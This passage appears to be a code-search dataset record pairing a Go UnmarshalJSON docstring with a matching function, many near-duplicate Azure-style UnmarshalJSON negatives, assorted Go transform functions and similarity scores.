transformArrayLit(t.Elem(), -1, n.List)\n\t\tn.SetOp(ir.OSLICELIT)\n\t\tn.Len = length\n\n\tcase types.TMAP:\n\t\tfor _, l := range n.List {\n\t\t\tir.SetPos(l)\n\t\t\tassert(l.Op() == ir.OKEY)\n\t\t\tl := l.(*ir.KeyExpr)\n\n\t\t\tr := l.Key\n\t\t\tl.Key = assignconvfn(r, t.Key())\n\n\t\t\tr = l.Value\n\t\t\tl.Value = assignconvfn(r, t.Elem())\n\t\t}\n\n\t\tn.SetOp(ir.OMAPLIT)\n\n\tcase types.TSTRUCT:\n\t\t// Need valid field offsets for Xoffset below.\n\t\ttypes.CalcSize(t)\n\n\t\tif len(n.List) != 0 && !hasKeys(n.List) {\n\t\t\t// simple list of values\n\t\t\tls := n.List\n\t\t\tfor i, n1 := range ls {\n\t\t\t\tir.SetPos(n1)\n\n\t\t\t\tf := t.Field(i)\n\t\t\t\tn1 = assignconvfn(n1, f.Type)\n\t\t\t\tls[i] = ir.NewStructKeyExpr(base.Pos, f, n1)\n\t\t\t}\n\t\t\tassert(len(ls) >= t.NumFields())\n\t\t} else {\n\t\t\t// keyed list\n\t\t\tls := n.List\n\t\t\tfor i, l := range ls {\n\t\t\t\tir.SetPos(l)\n\n\t\t\t\tkv := l.(*ir.KeyExpr)\n\t\t\t\tkey := kv.Key\n\n\t\t\t\t// Sym might have resolved to name in other top-level\n\t\t\t\t// package, because of import dot. Redirect to correct sym\n\t\t\t\t// before we do the lookup.\n\t\t\t\ts := key.Sym()\n\t\t\t\tif id, ok := key.(*ir.Ident); ok && typecheck.DotImportRefs[id] != nil {\n\t\t\t\t\ts = typecheck.Lookup(s.Name)\n\t\t\t\t}\n\t\t\t\tif types.IsExported(s.Name) && s.Pkg != types.LocalPkg {\n\t\t\t\t\t// Exported field names should always have\n\t\t\t\t\t// local pkg. We only need to do this\n\t\t\t\t\t// adjustment for generic functions that are\n\t\t\t\t\t// being transformed after being imported\n\t\t\t\t\t// from another package.\n\t\t\t\t\ts = typecheck.Lookup(s.Name)\n\t\t\t\t}\n\n\t\t\t\t// An OXDOT uses the Sym field to hold\n\t\t\t\t// the field to the right of the dot,\n\t\t\t\t// so s will be non-nil, but an OXDOT\n\t\t\t\t// is never a valid struct literal key.\n\t\t\t\tassert(!(s == nil || key.Op() == ir.OXDOT || s.IsBlank()))\n\n\t\t\t\tf := typecheck.Lookdot1(nil, s, t, t.Fields(), 0)\n\t\t\t\tl := ir.NewStructKeyExpr(l.Pos(), f, kv.Value)\n\t\t\t\tls[i] = l\n\n\t\t\t\tl.Value = assignconvfn(l.Value, f.Type)\n\t\t\t}\n\t\t}\n\n\t\tn.SetOp(ir.OSTRUCTLIT)\n\t}\n\n\treturn n\n}", "func (EditCandidatePublicKeyResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.EditCandidatePublicKeyData)\n\n\treturn EditCandidatePublicKeyResource{\n\t\tPubKey: data.PubKey.String(),\n\t\tNewPubKey: data.NewPubKey.String(),\n\t}\n}", "func (r *updateRequest) Transform(user *model.User) (*model.SalesOrder, []*model.SalesOrderItem) {\n\tvar disc float32\n\tvar discAmount float64\n\n\t// calculate\n\tif r.IsPercentageDiscount == int8(1) {\n\t\tdisc = r.Discount\n\t\tdiscAmount = (r.TotalPrice * float64(disc)) / float64(100)\n\t} else {\n\t\tdiscAmount = r.DiscountAmount\n\t\tif discAmount != float64(0) {\n\t\t\tdisc = float32(common.FloatPrecision((discAmount/r.TotalPrice)*float64(100), 2))\n\t\t}\n\t}\n\tcuramount := r.TotalPrice - r.DiscountAmount\n\tr.TaxAmount = (curamount * float64(r.Tax)) / float64(100)\n\tr.TotalCharge = common.FloatPrecision(curamount+r.TaxAmount+r.ShipmentCost, 0)\n\n\tso := r.SalesOrder\n\tso.RecognitionDate = r.RecognitionDate\n\tso.EtaDate = r.EtaDate\n\tso.Discount = disc\n\tso.DiscountAmount = discAmount\n\tso.Tax = r.Tax\n\tso.TaxAmount = r.TaxAmount\n\tso.ShipmentCost = r.ShipmentCost\n\tso.TotalPrice = r.TotalPrice\n\tso.TotalCharge = r.TotalCharge\n\tso.TotalCost = r.TotalCost\n\tso.IsPercentageDiscount = r.IsPercentageDiscount\n\tso.Note = r.Note\n\tso.UpdatedAt = time.Now()\n\tso.UpdatedBy = user\n\n\tvar items []*model.SalesOrderItem\n\tfor _, row := range r.SalesOrderItem {\n\t\tvar ID int64\n\t\tif row.ID != \"\" {\n\t\t\tID, _ = common.Decrypt(row.ID)\n\t\t}\n\t\tidItemVar, _ := common.Decrypt(row.ItemVariantID)\n\t\titemvar, _ := inventory.GetDetailItemVariant(\"id\", idItemVar)\n\n\t\tdiscamount := ((row.UnitPrice * float64(row.Quantity)) * float64(row.Discount)) / float64(100)\n\t\tcuramount := row.UnitPrice * float64(row.Quantity)\n\t\tsubtotal := common.FloatPrecision(curamount-discamount, 0)\n\t\trow.Subtotal = subtotal\n\n\t\tsoitem := model.SalesOrderItem{\n\t\t\tID: ID,\n\t\t\tItemVariant: itemvar,\n\t\t\tQuantity: row.Quantity,\n\t\t\tUnitPrice: row.UnitPrice,\n\t\t\tDiscount: row.Discount,\n\t\t\tSubtotal: row.Subtotal,\n\t\t\tNote: row.Note,\n\t\t}\n\t\titems = append(items, &soitem)\n\t}\n\n\treturn so, items\n}", "func (m *Minute) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := m.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewMinute(child))\n}", "func (l BaseLink) Transform(path string, originalURL url.URL) (*url.URL, error) {\n\tdestURL := l.Target\n\tif len(path) > len(l.Path) {\n\t\tdestURL += path[len(l.Path):]\n\t}\n\treturn targetToURL(destURL, originalURL)\n}", "func (t *treeSimplifier) simplifyPipeNode(node *parse.PipeNode, ref parse.Node) bool {\n\t/*\n\t look for\n\t {{\"some\" | split \"what\"}}\n\t transform into\n\t {{split \"what\" \"some\"}}\n\t*/\n\tif rearrangeCmdsWithIdentifierPrecededByCmdWithVariableNode(node) {\n\t\treturn true\n\t}\n\n\t/*\n\t look for\n\t {{up \"what\" | lower}}\n\t transform into\n\t {{$some := up \"what\"}}\n\t {{$some | lower}}\n\t*/\n\tfirstCmd, secCmd := getCmdIdentifierFollowedByCmdIdentifier(node)\n\tif firstCmd != nil && secCmd != nil {\n\t\tfirstCmdIndex := getCmdIndex(firstCmd, node)\n\t\tif firstCmdIndex > -1 {\n\t\t\tvarName := t.createVarName()\n\t\t\tvarNode := createAVariableNode(varName)\n\t\t\tif replaceCmdWithVar(node, firstCmd, varNode) == false {\n\t\t\t\terr := fmt.Errorf(\"treeSimplifier.simplifyPipeNode: failed to replace Pipe with Var in Cmd\\n%v\\n%#v\", firstCmd, firstCmd)\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tnewAction := createAVariablePipeActionFromCmd(varName, firstCmd)\n\t\t\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\n\t\t\t\terr := fmt.Errorf(\n\t\t\t\t\t\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\n%v\\n%#v\\nreference node was\\n%v\\n%#v\",\n\t\t\t\t\tnewAction, newAction,\n\t\t\t\t\tnode, node)\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// following transform can be executed only on\n\t// ref node like if/else/range/with\n\tisValidRef := false\n\tswitch ref.(type) {\n\tcase *parse.IfNode:\n\t\tisValidRef = true\n\tcase *parse.RangeNode:\n\t\tisValidRef = true\n\tcase *parse.WithNode:\n\t\tisValidRef = true\n\tcase *parse.TemplateNode:\n\t\tisValidRef = true\n\t}\n\tif isValidRef {\n\t\t/*\n\t\t look for\n\t\t {{if not true}}\n\t\t transform into\n\t\t {{$some := not true}}\n\t\t {{if $some}}\n\t\t*/\n\t\tif len(node.Cmds) > 0 {\n\t\t\tcmd := node.Cmds[0]\n\t\t\tif len(cmd.Args) > 0 {\n\t\t\t\tif _, ok := cmd.Args[0].(*parse.IdentifierNode); ok {\n\t\t\t\t\tvarName := t.createVarName()\n\t\t\t\t\tvarNode := createAVariableNode(varName)\n\t\t\t\t\tnewAction := createAVariablePipeAction(varName, node)\n\t\t\t\t\tnewCmd := &parse.CommandNode{}\n\t\t\t\t\tnewCmd.NodeType = parse.NodeCommand\n\t\t\t\t\tnewCmd.Args = append(newCmd.Args, varNode)\n\t\t\t\t\tnode.Cmds = append(node.Cmds[:0], newCmd)\n\t\t\t\t\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\n\t\t\t\t\t\terr := fmt.Errorf(\n\t\t\t\t\t\t\t\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\n%v\\n%#v\\nreference node was\\n%v\\n%#v\",\n\t\t\t\t\t\t\tnewAction, newAction,\n\t\t\t\t\t\t\tref, ref)\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/*\n\t\t look for\n\t\t {{if eq (up \"what\" | lower) \"what\"}}\n\t\t transform into\n\t\t {{$some := eq (up \"what\" | lower) \"what\"}}\n\t\t {{if $some}}\n\t\t*/\n\t\tif len(node.Cmds) > 0 {\n\t\t\tcmd := node.Cmds[0]\n\t\t\t_, pipeToMove := getPipeFollowingIdentifier(cmd)\n\t\t\tif pipeToMove != nil {\n\t\t\t\tvarName := t.createVarName()\n\t\t\t\tvarNode := createAVariableNode(varName)\n\t\t\t\tif replacePipeWithVar(cmd, pipeToMove, varNode) == false {\n\t\t\t\t\terr := fmt.Errorf(\"treeSimplifier.simplifyPipeNode: failed to replace Pipe with Var in Cmd\\n%v\\n%#v\", cmd, cmd)\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tnewAction := createAVariablePipeAction(varName, pipeToMove)\n\t\t\t\tif insertActionBeforeRef(t.tree.Root, ref, newAction) == false {\n\t\t\t\t\terr := fmt.Errorf(\n\t\t\t\t\t\t\"treeSimplifier.simplifyPipeNode: failed to insert the new Action node\\n%v\\n%#v\\nreference node was\\n%v\\n%#v\",\n\t\t\t\t\t\tnewAction, newAction,\n\t\t\t\t\t\tref, ref)\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\t/*\n\t\t\t look for\n\t\t\t {{(up \"what\")}}\n\t\t\t transform into\n\t\t\t {{up \"what\"}}\n\t\t (ie: removes parenthesis)\n\t*/\n\tif len(node.Cmds) == 1 && len(node.Cmds[0].Args) == 1 {\n\t\tif p, ok := node.Cmds[0].Args[0].(*parse.PipeNode); ok {\n\t\t\tnode.Cmds = p.Cmds\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "func (r *RenameFamilies) Transform(mfs []*dto.MetricFamily) []*dto.MetricFamily {\n\trenamed := mfs[:0]\n\tfor _, mf := range mfs {\n\t\tif to, ok := r.FromTo[mf.GetName()]; ok {\n\t\t\tmf.Name = &to\n\t\t}\n\t\trenamed = append(renamed, mf)\n\n\t}\n\tsort.Sort(familySorter(renamed))\n\treturn renamed\n}", "func processEntry(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\n\n\n\n\t// Process the entry\n\tswitch theEntry.Tag {\n\t\tcase dwarf.TagCompileUnit:\tprocessCompileUnit(theReader, depth, theEntry);\n\t\tcase dwarf.TagSubprogram:\tprocessSubprogram( theReader, depth, theEntry);\n\t\tdefault:\n\t\t\tif (theEntry.Children) {\n\t\t\t\tprocessChildren(theReader, depth+1, true);\n\t\t\t}\n\t\t}\n}", "func (e Entry) flatten(m map[string]interface{}) {\n\tm[\"message\"] = e.Message\n\tm[\"severity\"] = e.Severity\n\tif e.Trace != \"\" {\n\t\tm[\"logging.googleapis.com/trace\"] = e.Trace\n\t}\n\tif e.Component != \"\" {\n\t\tm[\"component\"] = e.Component\n\t}\n\tif e.Fields != nil {\n\t\tfor k, v := range e.Fields {\n\t\t\tm[k] = v\n\t\t}\n\t}\n}", "func TransformExtractedPullRequestData(w http.ResponseWriter, _ *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tprTransformer := di.GetPullRequestTransformer()\n\n\t_, _ = prTransformer.TransformRecords()\n\n\tdata, err := json.Marshal(helpers.SuccessResponse{\n\t\tMessage: \"success\",\n\t})\n\tif err != nil {\n\t\tlog.Println(err)\n\t\thelpers.GetError(err, w)\n\t\treturn\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\t_, _ = w.Write(data)\n}", "func setupTransformableItems(c *cli.Context,\n\tctxOpts *terrahelp.TransformOpts,\n\tnoBackup bool, bkpExt string) {\n\tfiles := c.StringSlice(\"file\")\n\n\tif files == nil || len(files) == 0 {\n\t\tctxOpts.TransformItems = []terrahelp.Transformable{terrahelp.NewStdStreamTransformable()}\n\t\treturn\n\t}\n\tctxOpts.TransformItems = []terrahelp.Transformable{}\n\tfor _, f := range files {\n\t\tctxOpts.TransformItems = append(ctxOpts.TransformItems,\n\t\t\tterrahelp.NewFileTransformable(f, !noBackup, bkpExt))\n\t}\n}", "func (m *Month) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\n\tchild, err := m.Child.TransformUp(f)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn f(NewMonth(child))\n}", "func applyTransform(str string, transform sf) (out string) {\n\tout = \"\"\n\n\tfor idx, line := range strings.Split(str, \"\\n\") {\n\t\tout += transform(idx, line)\n\t}\n\n\treturn\n}" ]
[ "0.66330934", "0.5959578", "0.57227963", "0.5707559", "0.5705114", "0.569543", "0.5488598", "0.5484234", "0.5442998", "0.53408206", "0.5336651", "0.5332927", "0.5325661", "0.53223914", "0.52256715", "0.52074414", "0.52019304", "0.51979303", "0.5181878", "0.5164985", "0.5160501", "0.51377946", "0.51341206", "0.5128638", "0.51192695", "0.51132804", "0.51021475", "0.5098523", "0.5090875", "0.50785774", "0.5076889", "0.50752634", "0.50625294", "0.50468534", "0.50452006", "0.5005747", "0.4991385", "0.49852526", "0.49828464", "0.49764863", "0.49742508", "0.49725714", "0.49675462", "0.4961869", "0.49469635", "0.49261367", "0.4925901", "0.49171594", "0.49134427", "0.49122974", "0.49004218", "0.48957372", "0.48852968", "0.4852944", "0.48517638", "0.4841351", "0.48324156", "0.47867686", "0.47800103", "0.47738263", "0.47723144", "0.47681174", "0.47645372", "0.47554398", "0.4754858", "0.47482353", "0.47309133", "0.47176296", "0.47151423", "0.47109926", "0.4706565", "0.47059095", "0.47001883", "0.469936", "0.4695291", "0.4690898", "0.4681888", "0.46814024", "0.46749458", "0.46748364", "0.46599025", "0.46492898", "0.46432316", "0.4642473", "0.46382892", "0.46376684", "0.46370286", "0.46184084", "0.4604167", "0.46013045", "0.45984963", "0.45937607", "0.45902354", "0.4589723", "0.4587325", "0.45822936", "0.45800015", "0.45671898", "0.456048", "0.45600793" ]
0.75331354
0
UnmarshalJSON will unmarshal JSON into an operation
func (o *Op) UnmarshalJSON(raw []byte) error { var typeDecoder map[string]rawMessage err := json.Unmarshal(raw, &typeDecoder) if err != nil { return err } return o.unmarshalDecodedType(typeDecoder) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (op *Operation) Unmarshal(raw []byte) error {\n\treturn json.Unmarshal(raw, &op)\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", 